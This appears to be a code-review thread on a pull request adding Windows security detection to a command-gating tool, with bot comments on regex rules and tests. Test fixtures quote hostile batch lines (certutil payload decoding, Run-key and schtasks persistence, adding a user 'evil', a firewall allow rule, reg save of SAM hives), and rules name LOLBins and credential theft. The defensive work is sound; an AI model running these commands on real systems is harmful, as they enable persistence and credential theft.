PowerShell expressions (e.g., "(New-Object...") causing loss of content; update
the condition around the strings.Contains(...) && !strings.HasPrefix(firstToken,
"[") check to also skip tokens that start with "(" (and keep the existing checks
for "[" and any other PowerShell markers like "::" or "([") so that when
firstToken begins with "(" you do not normalize or call filepath.Base on it;
locate the logic handling firstToken, strings.Contains(firstToken, "/") ||
strings.Contains(firstToken, `\`), and filepath.Base to apply this change.

In `@internal/core/safecmds.go`:
- Around line 226-234: isCertutilSafe currently returns SAFE as soon as it sees
any allow-listed switch, allowing mixed allow/deny invocations to slip through;
change isCertutilSafe to only return true if every switch (fields[1:]) present
is in the allow-list and at least one switch exists. Specifically, iterate all
fields after the command, normalize with strings.ToLower, reject (return false)
if any token starting with "-" is not one of the allow-listed values
("-hashfile","-verify","-dump","-store","-viewstore"), and only return true if
you saw at least one allow-listed switch and no disallowed switches; otherwise
return false. Reference: function isCertutilSafe and its fields parameter.

In `@internal/inspect/batch.go`:
- Around line 24-29: The generic LOLBin regex that includes certutil causes all
certutil uses to be tagged "lolbin" and thus escalated by
inferDecisionFromSignals; remove certutil from that generic pattern (or add a
negative lookahead) so certutil is only matched by the specific certutil pattern
(`(?i)\bcertutil\b.*\s-(decode|urlcache)\b`) and other allow-listed certutil
modes are not upgraded to "lolbin"; update the entry that currently contains
certutil (the
`{`(?i)\b(certutil|bitsadmin|mshta|regsvr32|rundll32|wscript|cscript|forfiles)\b`,
"lolbin"}` line) accordingly.
- Around line 56-60: ScanBatch currently scans physical lines independently
which allows evasion via caret (^) line continuations; before performing the
REM/:: skipping and regex checks in ScanBatch, pre-process the incoming content
([]byte) to reconstruct logical lines by joining any line that ends with a
trailing caret continuation (handle optional trailing spaces before the caret
and remove the caret+newline, preserving a single space between tokens), then
run the existing comment stripping and regex matching on these reconstructed
logical lines (update the processing used by the patterns around the current
multi-token checks in ScanBatch so schtasks/reg and other multi-token patterns
cannot be split across physical lines).

In `@internal/inspect/powershell.go`:
- Around line 19-42: The pattern table in init (the defs slice) never matches
destructive PowerShell cmdlets like Remove-Item -Recurse -Force or
Format-Volume; update the defs slice to add regex entries that detect
Remove-Item with -Recurse and -Force (e.g., a case-insensitive pattern for
\bRemove-Item\b.*\b-Recurse\b.*\b-Force\b) and another for \bFormat-Volume\b
(and any common aliases), and map them to the appropriate category (e.g.,
"destructive" or "wipe"); modify the same defs variable so InspectFile will emit
signals for these destructive commands.

In `@internal/policy/builtins_windows_security.go`:
- Around line 121-128: The predicate for the "builtin:windows:reg-add-general"
rule is too broad because strings.Contains(lower, `\run`) will match keys like
`HKCU\Software\Runtime`; update the Predicate in builtins_windows_security.go to
use a boundary-aware regex (the same logic as the persistence rule e.g.
`\\Run(Once)?(\s|$|\\)`) instead of strings.Contains so only genuine Run/RunOnce
keys are excluded; ensure you apply the regex against the lower variable (or
normalize appropriately) and return the negated regex match as the predicate
result.

In `@internal/policy/hardcoded_test.go`:
- Around line 349-351: The registry hive test strings use doubled backslashes in
the raw string literals (`reg save HKLM\\SAM`, `reg save HKLM\\SYSTEM`, `reg
save HKLM\\SECURITY`, and `reg save HKLM\\SOFTWARE`) which yields two literal
backslashes at runtime and therefore tests malformed input; update those test
case literals to use a single backslash (e.g., `reg save HKLM\SAM`, `reg save
HKLM\SYSTEM`, `reg save HKLM\SECURITY`, `reg save HKLM\SOFTWARE`) so the test
commands match real Windows syntax and the pattern exercises correct input.

In `@internal/policy/hardcoded.go`:
- Around line 323-335: The two hardcoded Pattern regexes for event log clearing
and registry hive export currently only match bare "wevtutil" and "reg"; update
those regexp.MustCompile patterns to also accept the .exe form by adding an
optional (?:\.exe)? after the command names (mirror the existing style used in
the lsass/procdump pattern). Specifically change the Pattern matching
`(?i)\b(Clear-EventLog|wevtutil\s+cl)\b` to include `wevtutil(?:\.exe)?\s+cl`
and change the Pattern matching `(?i)\breg\s+save\s+.*\\(SAM|SYSTEM|SECURITY)\b`
to `(?i)\breg(?:\.exe)?\s+save\s+.*\\(SAM|SYSTEM|SECURITY)\b` so calls like
`wevtutil.exe cl` and `reg.exe save` are caught by the non-overridable policy.

In `@scripts/setup-worktree.sh`:
- Around line 58-69: The safety check uses git status with
--untracked-files=normal so ignored files are not detected and can be deleted by
rm -rf "$target_path"; update the check around the status variable (where
status="$(git status ... -- "$name")") to also detect ignored files (for example
by using git status --porcelain=v1 --untracked-files=all or by running git
ls-files --others -i --exclude-standard or git check-ignore on "$target_path")
and if any ignored files are present treat the path as having local changes and
refuse to remove it (i.e., print the same error and exit before reaching rm -rf
"$target_path").

---

Outside diff comments:
In `@internal/core/inspect.go`:
- Around line 216-233: The switch on invoker (in DetectReferencedFile) misses
cmd/cmd.exe and is case-sensitive; update the code so invoker :=
strings.ToLower(filepath.Base(parts[0])) and add a case for "cmd" and "cmd.exe"
that calls extractFile(args, []string{".bat", ".cmd"}, []string{"/c", "/k",
"/s"}); keep other shells as-is and fall back to detectExecutablePath(parts[0])
so absolute paths (e.g., C:\...\pwsh.exe) and different casing (PowerShell.EXE)
are handled correctly.

In `@internal/core/shelltype.go`:
- Around line 139-180: The first-token checks use strings.Fields and then the
raw token (first) which can contain quotes or path components causing
mismatches; normalize the token by trimming surrounding quotes, taking the
basename, and lowercasing it before comparisons. Specifically, after obtaining
fields[0], compute a normalized token by calling strings.Trim(fields[0], `"'`),
then filepath.Base(...) on that result, and finally strings.ToLower(...) and use
that normalized value in checks against knownCmdlets, knownPowerShellAliases,
windowsCommandUtilities, cmdOnlyBuiltins and the explicit wrapper checks (so
symbols to update include the local variable first, the initial fields :=
strings.Fields(command) usage, and the comparisons returning
ShellCMD/ShellPowerShell); add an import for path/filepath if not present.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: 39a6a5b9-647e-4c45-838f-68ebeb598930

📥 Commits

Reviewing files that changed from the base of the PR and between 9aa94dc and ba75d59.

📒 Files selected for processing (26)
  • internal/core/classify.go
  • internal/core/classify_winshell_test.go
  • internal/core/inspect.go
  • internal/core/inspect_test.go
  • internal/core/normalize.go
  • internal/core/normalize_test.go
  • internal/core/safecmds.go
  • internal/core/safecmds_test.go
  • internal/core/shelltype.go
  • internal/core/shelltype_test.go
  • internal/inspect/batch.go
  • internal/inspect/batch_test.go
  • internal/inspect/powershell.go
  • internal/inspect/powershell_test.go
  • internal/policy/builtins_windows_download.go
  • internal/policy/builtins_windows_lolbin.go
  • internal/policy/builtins_windows_security.go
  • internal/policy/hardcoded.go
  • internal/policy/hardcoded_test.go
  • internal/policy/policy_test.go
  • internal/policy/rule_tags.go
  • justfile
  • scripts/setup-worktree.sh
  • specs/windows-support-plan.md
  • testdata/fixtures/commands.yaml
  • worktree_setup_test.go

Comment thread internal/core/classify.go Outdated
Comment thread internal/core/classify.go Outdated
Comment thread internal/core/inspect.go
Comment thread internal/core/normalize.go Outdated
Comment thread internal/core/safecmds.go
Comment thread internal/inspect/powershell.go
Comment thread internal/policy/builtins_windows_security.go
Comment thread internal/policy/hardcoded_test.go Outdated
Comment thread internal/policy/hardcoded.go
Comment thread scripts/setup-worktree.sh Outdated
php-workx pushed a commit that referenced this pull request Apr 1, 2026
@kody-ai

This comment has been minimized.

Comment thread internal/core/inspect.go
Comment thread internal/core/normalize.go
Comment thread internal/policy/policy_test.go

@kody-ai kody-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

♻️ Duplicate comments (2)
internal/inspect/batch_test.go (1)

24-57: ⚠️ Potential issue | 🟠 Major

Replace password-like literals in batch fixtures with neutral placeholders.

Line 24, Line 41, and Line 56 still contain password-like values (P@ssw0rd! / dummyP@ssw0rd!). These can trigger secret-scanner/policy violations and are unnecessary for the detection intent.

Suggested patch
-:: net user evil P@ssw0rd! /add
+:: net user evil placeholder-password /add
@@
-  REM   net user evil dummyP@ssw0rd! /add
+  REM   net user evil placeholder-password /add
@@
-net user evil P@ssw0rd! /add
+net user evil placeholder-password /add
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/inspect/batch_test.go` around lines 24 - 57, Replace hardcoded
password-like literals in the batch test fixtures with neutral placeholders:
update the byte slices used in TestScanBatch_CommentSkipping_REMVariants (the
content variable containing "dummyP@ssw0rd!") and
TestScanBatch_DetectsWindowsSignals (the content variable containing
"P@ssw0rd!") to use non-secret values like "PASSWORD_PLACEHOLDER" or
"neutral-password" so the tests keep intent but no real-looking passwords
remain; ensure matches/assertions remain valid after replacing literals.
internal/core/safecmds.go (1)

206-227: ⚠️ Potential issue | 🔴 Critical

Gate the Windows-only SAFE rules on detected Windows shell context.

The only production call site (internal/core/classify.go:728-742) passes just basename and cmd, so these certutil/sc/reg/remove-item/path cases now run on every platform. On POSIX, a repo-local sc query or certutil -hashfile ... can be classified SAFE even though these predicates were meant for CMD/PowerShell. Please scope these cases to detected Windows shell execution before approving them.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/safecmds.go` around lines 206 - 227, The Windows-specific safe
checks (cases for "certutil", "sc", "reg", "remove-item", "path", and the CMD
"set"/"time"/"date" logic) must only run when the command is known to be
executed in a Windows shell; update the switch in safecmds.go to first detect
Windows shell context (e.g., via an existing context/shell indicator or by
adding a small helper like isWindowsShellExecution(ctxOrCmd)) and only evaluate
isCertutilSafe, isSCSafe, isRegSafe, isRemoveItemSafe and the CMD-specific
len(fields) checks when that helper returns true; otherwise fall back to the
default false so POSIX binaries like local "sc" or "certutil" are not marked
SAFE.
🧹 Nitpick comments (1)
internal/core/classify_winshell_test.go (1)

528-551: Minor: Consider thread-safety for stateful test evaluator.

The firstCallOnlyDryRunEvaluator has mutable state (calls counter) without synchronization. While this works correctly because tests don't use t.Parallel() and each test creates its own instance, if parallelism were added later, this could cause race conditions under go test -race.

This is fine for the current usage but worth noting if parallel test execution is planned.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/classify_winshell_test.go` around lines 528 - 551, The test
evaluator firstCallOnlyDryRunEvaluator mutates the calls counter in
EvaluateBuiltins without synchronization, which can race if tests run in
parallel; make the state thread-safe by replacing the int calls with a
concurrent-safe primitive (e.g., use sync/atomic's uint32/uint64 and
atomic.AddUint32/LoadUint32) or protect access with a sync.Mutex, or refactor to
a stateless approach (e.g., inject a function or flag) so EvaluateBuiltins no
longer relies on unsynchronized shared state.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/inspect/batch_test.go`:
- Around line 5-108: The PR needs to include the actual test run artifacts
requested in the review: run the test suite with the race detector and coverage
for the package containing ScanBatch (e.g., run CGO_ENABLED=1 go test -race
./internal/inspect -v -coverprofile=coverage.out), capture and attach the full
terminal output of that command plus the generated coverage report (use go tool
cover -func=coverage.out to show per-function and total coverage and optionally
go tool cover -html=coverage.out for an HTML report); add these outputs to the
PR (or CI job artifacts) and confirm the coverage percentage for ScanBatch
(~92.9%) and that no race warnings occurred.

In `@worktree_setup_test.go`:
- Around line 13-57: The CI/test invocation for the new tests
(TestSetupWorktreeLinksSharedDirectories and
TestSetupWorktreeRefusesIgnoredTicketsFiles) must include the Go race detector
and produce coverage; update the CI job or package test script that runs these
tests (the job that invokes go test for the package containing
runWorktreeCmd/runWorktreeCmdErr) to run: go test -race
-coverprofile=coverage.out ./... (or at least for this package) and ensure
coverage is uploaded/recorded; if you have a local verification command in
README or a Makefile target, add a target like "test-race-coverage" that runs go
test -race -covermode=atomic -coverprofile=coverage.out for the package
containing TestSetupWorktree..., and reference runWorktreeCmd/runWorktreeCmdErr
in the commit message so maintainers know which tests were affected.

---

Duplicate comments:
In `@internal/core/safecmds.go`:
- Around line 206-227: The Windows-specific safe checks (cases for "certutil",
"sc", "reg", "remove-item", "path", and the CMD "set"/"time"/"date" logic) must
only run when the command is known to be executed in a Windows shell; update the
switch in safecmds.go to first detect Windows shell context (e.g., via an
existing context/shell indicator or by adding a small helper like
isWindowsShellExecution(ctxOrCmd)) and only evaluate isCertutilSafe, isSCSafe,
isRegSafe, isRemoveItemSafe and the CMD-specific len(fields) checks when that
helper returns true; otherwise fall back to the default false so POSIX binaries
like local "sc" or "certutil" are not marked SAFE.

In `@internal/inspect/batch_test.go`:
- Around line 24-57: Replace hardcoded password-like literals in the batch test
fixtures with neutral placeholders: update the byte slices used in
TestScanBatch_CommentSkipping_REMVariants (the content variable containing
"dummyP@ssw0rd!") and TestScanBatch_DetectsWindowsSignals (the content variable
containing "P@ssw0rd!") to use non-secret values like "PASSWORD_PLACEHOLDER" or
"neutral-password" so the tests keep intent but no real-looking passwords
remain; ensure matches/assertions remain valid after replacing literals.

---

Nitpick comments:
In `@internal/core/classify_winshell_test.go`:
- Around line 528-551: The test evaluator firstCallOnlyDryRunEvaluator mutates
the calls counter in EvaluateBuiltins without synchronization, which can race if
tests run in parallel; make the state thread-safe by replacing the int calls
with a concurrent-safe primitive (e.g., use sync/atomic's uint32/uint64 and
atomic.AddUint32/LoadUint32) or protect access with a sync.Mutex, or refactor to
a stateless approach (e.g., inject a function or flag) so EvaluateBuiltins no
longer relies on unsynchronized shared state.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro

Run ID: dc0a48a5-9d8f-4179-89f8-b84de960def7

📥 Commits

Reviewing files that changed from the base of the PR and between ba75d59 and fbd1c62.

📒 Files selected for processing (22)
  • internal/core/classify.go
  • internal/core/classify_winshell_test.go
  • internal/core/inspect.go
  • internal/core/inspect_test.go
  • internal/core/normalize.go
  • internal/core/normalize_test.go
  • internal/core/safecmds.go
  • internal/core/safecmds_test.go
  • internal/core/shelltype.go
  • internal/core/shelltype_test.go
  • internal/inspect/batch.go
  • internal/inspect/batch_test.go
  • internal/inspect/powershell.go
  • internal/inspect/powershell_test.go
  • internal/policy/builtins_windows_lolbin.go
  • internal/policy/builtins_windows_security.go
  • internal/policy/hardcoded.go
  • internal/policy/hardcoded_test.go
  • internal/policy/policy_test.go
  • scripts/setup-worktree.sh
  • testdata/fixtures/commands.yaml
  • worktree_setup_test.go
✅ Files skipped from review due to trivial changes (2)
  • internal/policy/hardcoded.go
  • internal/core/safecmds_test.go
🚧 Files skipped from review as they are similar to previous changes (11)
  • internal/core/normalize_test.go
  • internal/policy/hardcoded_test.go
  • internal/inspect/powershell_test.go
  • internal/inspect/batch.go
  • scripts/setup-worktree.sh
  • internal/inspect/powershell.go
  • internal/core/inspect.go
  • internal/core/shelltype_test.go
  • internal/core/classify.go
  • internal/core/shelltype.go
  • testdata/fixtures/commands.yaml

Comment on lines +5 to +108
func TestScanBatch_SafeScript(t *testing.T) {
content := []byte(`@echo off
setlocal
echo hello
dir C:\Windows
`)

signals := ScanBatch(content)
if len(signals) != 0 {
t.Errorf("expected 0 signals for safe batch content, got %d:", len(signals))
for _, s := range signals {
t.Logf(" line %d: category=%s match=%q", s.Line, s.Category, s.Match)
}
}
}

func TestScanBatch_CommentSkipping(t *testing.T) {
content := []byte(`@echo off
REM certutil -decode payload.b64 payload.exe
:: net user evil P@ssw0rd! /add
echo safe
`)

signals := ScanBatch(content)
if len(signals) != 0 {
t.Errorf("expected 0 signals for commented-out batch content, got %d:", len(signals))
for _, s := range signals {
t.Logf(" line %d: category=%s match=%q", s.Line, s.Category, s.Match)
}
}
}

func TestScanBatch_CommentSkipping_REMVariants(t *testing.T) {
content := []byte(`@REM certutil -decode payload.b64 payload.exe
REM
REM certutil -decode payload.b64 payload.exe
REM net user evil dummyP@ssw0rd! /add
`)

signals := ScanBatch(content)
if len(signals) != 0 {
t.Fatalf("expected 0 signals for REM variants, got %#v", signals)
}
}

func TestScanBatch_DetectsWindowsSignals(t *testing.T) {
content := []byte(`@echo off
certutil -decode payload.b64 payload.exe
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /d C:\Temp\evil.exe
schtasks /create /tn Evil /tr C:\Temp\evil.exe /sc onlogon
del /s /q C:\Temp\logs\*
net user evil P@ssw0rd! /add
netsh advfirewall firewall add rule name="evil" dir=in action=allow program="C:\Temp\evil.exe"
`)

signals := ScanBatch(content)
if len(signals) == 0 {
t.Fatal("expected signals for malicious batch content, got 0")
}

categories := batchSignalCategories(signals)
expectedCategories := []string{"lolbin", "registry_modify", "persistence", "destructive_fs", "user_modify", "firewall_modify"}
for _, cat := range expectedCategories {
if !categories[cat] {
t.Errorf("expected category %q in signals, not found", cat)
}
}

t.Logf("found %d signals:", len(signals))
for _, s := range signals {
t.Logf(" line %d: category=%s match=%q", s.Line, s.Category, s.Match)
}
}

func TestScanBatch_ReconstructsCaretContinuation(t *testing.T) {
content := []byte(`@echo off
schtasks ^
/create /tn Evil /tr C:\Temp\evil.exe /sc onlogon
reg ^
add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Evil /d C:\Temp\evil.exe
`)

signals := ScanBatch(content)
categories := batchSignalCategories(signals)
if !categories["persistence"] {
t.Fatalf("expected persistence signals with caret continuation, got %#v", signals)
}
if !categories["registry_modify"] {
t.Fatalf("expected registry_modify with caret continuation, got %#v", signals)
}
}

func TestScanBatch_CertutilAllowlistedModeNotEscalated(t *testing.T) {
content := []byte(`@echo off
certutil -hashfile payload.exe SHA256
`)

signals := ScanBatch(content)
for _, s := range signals {
if s.Category == "lolbin" {
t.Fatalf("expected no lolbin signal for allow-listed certutil mode, got %#v", signals)
}
}
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash

# First, locate the test file and check its structure
echo "=== Checking test file existence ==="
find . -name "batch_test.go" -type f

# Check if go is available and repo structure
echo -e "\n=== Repository structure ==="
ls -la .
head -20 go.mod 2>/dev/null || echo "No go.mod found"

Repository: php-workx/fuse

Length of output: 2803


🏁 Script executed:

#!/bin/bash

# Run tests with race detector for batch_test.go
echo "=== Running tests with race detector ==="
cd . && go test -race ./internal/inspect -run Batch -v 2>&1 | head -100

echo -e "\n=== Checking test coverage ==="
go test -coverprofile=/tmp/batch_coverage.out ./internal/inspect -run Batch 2>&1
go tool cover -func=/tmp/batch_coverage.out 2>&1 | grep -E "(batch|coverage)"

Repository: php-workx/fuse

Length of output: 515


🏁 Script executed:

#!/bin/bash

# Check the source file that these tests are testing
echo "=== Checking source file batch.go ==="
find . -name "batch.go" -type f | grep -v test
head -50 ./internal/inspect/batch.go 2>/dev/null || echo "File not found or error reading"

Repository: php-workx/fuse

Length of output: 1660


Provide test results with coverage report and race detector output as part of this PR.

The new tests in batch_test.go run successfully with good coverage (92.9% for ScanBatch). Per coding guidelines, attach the output from go test -race ./internal/inspect -v and coverage report to document test quality. Ensure cgo is enabled in your test environment to support the race detector.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/inspect/batch_test.go` around lines 5 - 108, The PR needs to include
the actual test run artifacts requested in the review: run the test suite with
the race detector and coverage for the package containing ScanBatch (e.g., run
CGO_ENABLED=1 go test -race ./internal/inspect -v -coverprofile=coverage.out),
capture and attach the full terminal output of that command plus the generated
coverage report (use go tool cover -func=coverage.out to show per-function and
total coverage and optionally go tool cover -html=coverage.out for an HTML
report); add these outputs to the PR (or CI job artifacts) and confirm the
coverage percentage for ScanBatch (~92.9%) and that no race warnings occurred.

Comment thread worktree_setup_test.go
Comment on lines +13 to +57
func TestSetupWorktreeLinksSharedDirectories(t *testing.T) {
scriptPath := worktreeScriptPath(t)
repoRoot, worktreeRoot := newWorktreeFixture(t)

beforeTickets := mustLstat(t, filepath.Join(worktreeRoot, ".tickets"))
if beforeTickets.Mode()&os.ModeSymlink != 0 {
t.Fatal("expected .tickets to start as a real directory")
}
if _, err := os.Lstat(filepath.Join(worktreeRoot, ".agents")); !os.IsNotExist(err) {
t.Fatalf("expected .agents to be absent before setup, got err=%v", err)
}

runWorktreeCmd(t, worktreeRoot, "bash", scriptPath)

assertSymlinkTarget(t, filepath.Join(worktreeRoot, ".agents"), filepath.Join(repoRoot, ".agents"))
assertSymlinkTarget(t, filepath.Join(worktreeRoot, ".tickets"), filepath.Join(repoRoot, ".tickets"))

status := strings.TrimSpace(runWorktreeCmd(t, worktreeRoot, "git", "status", "--short"))
if status != "" {
t.Fatalf("expected clean status after setup, got:\n%s", status)
}
}

func TestSetupWorktreeRefusesIgnoredTicketsFiles(t *testing.T) {
scriptPath := worktreeScriptPath(t)
_, worktreeRoot := newWorktreeFixture(t)

writeWorktreeFile(t, filepath.Join(worktreeRoot, ".tickets", "local", "scratch.md"), "ignored\n")

output, err := runWorktreeCmdErr(worktreeRoot, "bash", scriptPath)
if err == nil {
t.Fatal("expected setup-worktree to fail when ignored files exist in .tickets")
}
if !strings.Contains(output, "refusing to replace") {
t.Fatalf("expected refusal output, got:\n%s", output)
}
if !strings.Contains(output, "!! .tickets/local/") && !strings.Contains(output, "!! .tickets/local/scratch.md") {
t.Fatalf("expected ignored-file status in output, got:\n%s", output)
}

info := mustLstat(t, filepath.Join(worktreeRoot, ".tickets"))
if info.Mode()&os.ModeSymlink != 0 {
t.Fatal("expected .tickets to remain a real directory after refusal")
}
}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟡 Minor

Please add race+coverage execution for this new test surface.

The PR test runs listed for these tests do not include -race or coverage reporting. Please add those in CI or documented verification commands for this package.

As per coding guidelines "Run tests with race detector enabled (go test -race) and generate coverage reports".

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@worktree_setup_test.go` around lines 13 - 57, The CI/test invocation for the
new tests (TestSetupWorktreeLinksSharedDirectories and
TestSetupWorktreeRefusesIgnoredTicketsFiles) must include the Go race detector
and produce coverage; update the CI job or package test script that runs these
tests (the job that invokes go test for the package containing
runWorktreeCmd/runWorktreeCmdErr) to run: go test -race
-coverprofile=coverage.out ./... (or at least for this package) and ensure
coverage is uploaded/recorded; if you have a local verification command in
README or a Makefile target, add a target like "test-race-coverage" that runs go
test -race -covermode=atomic -coverprofile=coverage.out for the package
containing TestSetupWorktree..., and reference runWorktreeCmd/runWorktreeCmdErr
in the commit message so maintainers know which tests were affected.

@php-workx
php-workx force-pushed the feat/win-security-rules branch from fbd1c62 to 3148ac6 Compare April 2, 2026 13:07
@kody-ai

This comment has been minimized.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 3

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
internal/core/inspect.go (1)

332-344: ⚠️ Potential issue | 🟠 Major

mode&0o111 does not detect executables on Windows—impacts all file types, not just batch files.

The executable-bit check in detectExecutablePath() will always return "" on Windows because os.Stat().Mode() never exposes the execute permission bits (0o111 always = 0). This affects ANY executable detection on Windows—not only .cmd / .bat, but also direct paths to .exe or custom interpreter executables that lack recognized file extensions.

While batch files are typically wrapped by the OS (via cmd.exe), the fallback handler serves unknown shell types. The fix should use Windows-specific detection: check for recognized executable extensions (.exe, .bat, .cmd, .com, .scr, etc.) or NTFS file attributes instead of the Unix execute-bit model.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/inspect.go` around lines 332 - 344, detectExecutablePath
currently relies on Unix execute bits (info.Mode()&0o111) which always fails on
Windows; update the function to branch on runtime.GOOS == "windows" and, for
Windows, treat a file as executable by checking its extension against a
whitelist (e.g. .exe, .bat, .cmd, .com, .scr — case-insensitive using
filepath.Ext and strings.EqualFold) or by inspecting NTFS attributes if desired,
while preserving the existing os.Stat and IsDir checks; for non-Windows keep the
existing Unix execute-bit check (info.Mode()&0o111) so behavior is unchanged on
POSIX.
♻️ Duplicate comments (2)
internal/inspect/batch_test.go (1)

23-24: ⚠️ Potential issue | 🟠 Major

Remove password-shaped literals from these fixtures.

These strings are still close enough to real credentials to trigger secret scanning and policy noise, even inside commented-out batch content. Use a neutral placeholder everywhere.

🧹 Suggested cleanup
-:: net user evil P@ssw0rd! /add
+:: net user evil placeholder-password /add
-  REM   net user evil dummyP@ssw0rd! /add
+  REM   net user evil placeholder-password /add
-net user evil P@ssw0rd! /add
+net user evil placeholder-password /add

Also applies to: 41-41, 56-56

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/inspect/batch_test.go` around lines 23 - 24, The test fixture
contains password-shaped literals in the commented batch content (e.g. "REM
certutil -decode payload.b64 payload.exe" and ":: net user evil P@ssw0rd!
/add"); replace any real-looking credentials with a neutral placeholder (e.g.
"PLACEHOLDER_PASSWORD" or "PLACEHOLDER_PAYLOAD") in the batch fixture strings
used by the tests so the literals at the shown locations and the duplicates at
the other occurrences (lines noted in the review) no longer resemble real
passwords or secrets.
internal/core/inspect.go (1)

238-244: ⚠️ Potential issue | 🟠 Major

Wrapper parsing still misses common Windows flag layouts.

The new PowerShell branch only works when the script path survives generic positional scanning, and the CMD branch requires /c to be args[0]. That still misses valid forms like pwsh -WorkingDirectory C:\repo -File deploy.ps1 and cmd.exe /d /c deploy.cmd, so referenced-file inspection can be skipped.

For Windows shell syntax, can `cmd.exe` switches like `/d` appear before `/c`, and can `powershell.exe`/`pwsh` parameter-value pairs like `-WorkingDirectory <dir>` appear before `-File <script.ps1>`?

Also applies to: 299-326

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/core/inspect.go` around lines 238 - 244, The parsing logic in the
powershell and cmd branches of internal/core/inspect.go is too rigid (it assumes
/c is at args[0] and script path is a positional arg) and misses valid layouts
like "cmd.exe /d /c deploy.cmd" or "pwsh -WorkingDirectory C:\repo -File
deploy.ps1"; update the branches that call extractFile to robustly scan args for
relevant switches: for cmd (case "cmd", "cmd.exe") search args for any
case-insensitive "/c" token and, if found, use the following token as the
candidate to pass to extractFile (so /d or other flags before /c are allowed);
for PowerShell (case "powershell", "pwsh", etc.) scan args for the parameter
names "-File", "-Command"/"-c", "-EncodedCommand"/"-enc" (case-insensitive) and
handle both parameter/value pairs (take the next arg for "-File") and standalone
encoded forms, falling back to scanning positional args for a .ps1 file if none
of those flags are present; keep using extractFile to validate extensions but
feed it the correct sub-slice or discovered token(s).
🧹 Nitpick comments (1)
internal/policy/builtins_windows_security.go (1)

12-262: Consider splitting the monolithic Windows rule init into themed builders.

This init() is precedence-sensitive and large; extracting grouped rule constructors (e.g., registry, remoting, LOLBins) would make ordering changes safer and review diffs smaller.

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In `@internal/policy/builtins_windows_security.go` around lines 12 - 262, The
init() for Windows builtins is large and precedence-sensitive; refactor by
extracting themed builder functions that return []BuiltinRule (e.g.,
buildWindowsRegistryRules(), buildWindowsRemotingRules(),
buildWindowsLOLBinsRules(), buildWindowsCOMRules()) and replace the big inline
rules slice with a sequence of calls that concatenates those slices in the exact
same order before doing BuiltinRules = append(rules, BuiltinRules...); ensure
each builder constructs the same BuiltinRule entries (IDs like
"builtin:windows:reg-add-general", "builtin:windows:new-pssession",
"builtin:windows:comobject-general", etc.) and preserves any Predicate logic so
rule matching precedence and semantics remain unchanged.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/inspect/powershell.go`:
- Around line 97-123: The stripPowerShellBlockComments function incorrectly
treats "<#" and "#>" inside quoted strings as block comment delimiters; update
stripPowerShellBlockComments to track quote context by adding boolean state for
single-quote and double-quote (e.g., inSingleQuote, inDoubleQuote) and only
increment/decrement blockCommentDepth when both are false (i.e., when not inside
a quoted string). Toggle the quote state when encountering unescaped '\'' or '"'
characters (respecting PowerShell string rules as needed) and ensure characters
inside quotes are written to the builder without affecting block comment depth;
keep using the same function and parameter names (stripPowerShellBlockComments,
blockCommentDepth) so callers are unchanged.

In `@internal/policy/builtins_windows_download.go`:
- Around line 42-47: The Start-BitsTransfer rule (ID
"builtin:windows:start-bitstransfer-url") currently only matches the named
"-Source" form; update the regexp in the Pattern (regexp.MustCompile call) to
also detect a positional URL argument immediately following the command (i.e.,
match either "-Source\s+https?://..." OR whitespace then "https?://..." after
Start-BitsTransfer), so commands like "Start-BitsTransfer https://..." are
caught as well while preserving the existing named-parameter match and decision
Action core.DecisionApproval.

In `@specs/windows-support-plan.md`:
- Around line 95-97: The "Batch scanning is line-oriented; commands continued
with `^` across lines are not reconstructed before matching" bullet is outdated
because internal/inspect/batch.go now reconstructs `^`-continued logical lines;
remove or update that bullet in specs/windows-support-plan.md to reflect current
behavior (either delete the Batch scanning line or replace it with a note that
`internal/inspect/batch.go` reconstructs caret-continued lines before matching
and document any remaining edge cases).

---

Outside diff comments:
In `@internal/core/inspect.go`:
- Around line 332-344: detectExecutablePath currently relies on Unix execute
bits (info.Mode()&0o111) which always fails on Windows; update the function to
branch on runtime.GOOS == "windows" and, for Windows, treat a file as executable
by checking its extension against a whitelist (e.g. .exe, .bat, .cmd, .com, .scr
— case-insensitive using filepath.Ext and strings.EqualFold) or by inspecting
NTFS attributes if desired, while preserving the existing os.Stat and IsDir
checks; for non-Windows keep the existing Unix execute-bit check
(info.Mode()&0o111) so behavior is unchanged on POSIX.

---

Duplicate comments:
In `@internal/core/inspect.go`:
